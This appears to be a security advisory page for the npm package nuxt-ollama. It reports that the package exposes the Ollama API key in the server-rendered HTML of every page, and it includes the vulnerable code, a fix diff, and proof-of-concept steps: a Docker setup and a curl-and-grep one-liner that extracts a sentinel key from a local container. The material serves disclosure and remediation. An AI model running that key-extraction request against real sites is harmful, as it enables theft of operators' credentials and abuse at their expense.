npm · nuxt-ollama
Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients
nuxt-ollama@1.2.26 unconditionally merges all module options — including api_key — into Nuxt's public runtime config (runtimeConfig.public.ollama). Nuxt serializes runtimeConfig.public into the SSR HTML response inside a <script> payload block (window.__NUXT__), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense.
The vulnerability is a design flaw in src/module.ts. During Nuxt module setup, the entire _options object — which contains api_key when configured for cloud Ollama as documented in README.md:71-80 — is merged into the public runtime config namespace:
// src/module.ts:35-36
const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
runtimeConfig.public.ollama = defu(currentConfig, _options)
Nuxt's SSR pipeline serializes runtimeConfig.public and embeds it in every server-rendered HTML page for client-side hydration. This results in the api_key appearing verbatim in the window.__NUXT__ script block:
<script>
window.__NUXT__={};
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser
}
}
}
</script>
The browser-side composable (src/runtime/composables/useOllama.ts) then reads this value and sends it as an Authorization: Bearer header in client-side Ollama API calls:
// src/runtime/composables/useOllama.ts:6-10
const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions
if (options.api_key) {
headers.Authorization = `Bearer ${options.api_key}`
}
return new Ollama({ host, proxy: options.proxy, headers })
The complete data flow from source to sink:
README.md:71-80 — official documentation instructs users to set ollama.api_key for cloud Ollama modelssrc/module.ts:35-36 — source: api_key is merged into runtimeConfig.public.ollamaruntimeConfig.public is serialized into HTML __NUXT__ payloadsrc/runtime/composables/useOllama.ts:6 — browser composable reads useRuntimeConfig().public.ollamasrc/runtime/composables/useOllama.ts:8-10 — sink: options.api_key becomes headers.Authorization in client-side HTTP requestThe api_key value is never private (i.e., placed in runtimeConfig.ollama) and no sanitization removes it from the public namespace before serialization.
Recommended remediation: Move api_key to the private runtime config and remove it from the browser composable:
- const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions
- runtimeConfig.public.ollama = defu(currentConfig, _options)
+ const { api_key, ...publicOptions } = _options
+ const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'>
+ runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions)
+ const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'>
+ runtimeConfig.ollama = defu(currentPrivateConfig, { api_key })
The api_key should then only be consumed in the server-side utility (src/runtime/server/utils/useOllama.ts) via useRuntimeConfig().ollama.api_key.
Prerequisites: Docker, Python 3
Step 1 — Build the vulnerable Nuxt app container
docker build \
-f /path/to/vuln-001/Dockerfile \
-t nuxt-ollama-vuln-001 \
/path/to/npmAI_735_thoda-dev__nuxt-ollama
The Dockerfile uses the nuxt-ollama source at commit 6989ea8 and injects the following playground/nuxt.config.ts — the exact cloud configuration pattern from README.md:71-80:
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123' // sentinel key
}
})
Step 2 — Start the container
docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001
Step 3 — Retrieve the API key with a single unauthenticated HTTP request
curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"'
# Expected: api_key":"LEAKED_TEST_KEY_123"
Automated PoC script
python3 /path/to/vuln-001/poc.py
Expected output (confirmed in dynamic reproduction):
window.__NUXT__.config={
public:{
ollama:{
protocol:"https",
host:"api.ollama.com",
port:"",
proxy:false,
api_key:"LEAKED_TEST_KEY_123"
}
}
}
The sentinel key LEAKED_TEST_KEY_123 appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak.
This is a credentials exposure vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using nuxt-ollama with a cloud api_key configured can extract the API key from the __NUXT__ script payload.
Who is impacted:
ollama.api_key for cloud Ollama models. They are unaware that the key is being published to every visitor.Potential consequences of key theft:
The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker.
Dockerfile# syntax=docker/dockerfile:1
# VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key
# CWE-522: Insufficiently Protected Credentials
# CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)
#
# Vulnerability mechanism:
# src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options)
# This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes
# into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload).
# Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext.
FROM node:20-alpine
# Install pnpm matching the repo's packageManager field (pnpm@10.33.4)
RUN npm install -g pnpm@10.33.4
WORKDIR /app
# Copy the nuxt-ollama source repository
COPY repo/ ./
# Install all project dependencies.
# .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false
RUN pnpm install --frozen-lockfile
# Override playground/nuxt.config.ts: inject a sentinel api_key to simulate
# a real-world cloud Ollama deployment as documented in README.md:71-80.
# This is the exact vulnerable configuration pattern described in the docs.
RUN cat > playground/nuxt.config.ts << 'EOF'
export default defineNuxtConfig({
modules: ['../src/module'],
compatibilityDate: '2025-10-29',
devtools: { enabled: false },
ollama: {
protocol: 'https',
host: 'api.ollama.com',
api_key: 'LEAKED_TEST_KEY_123'
}
})
EOF
# Replace app.vue with a minimal template that does NOT make Ollama API calls.
# The api_key leak occurs in the Nuxt SSR payload, not in the visible template.
# The original playground app.vue calls useFetch('/api/ol
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.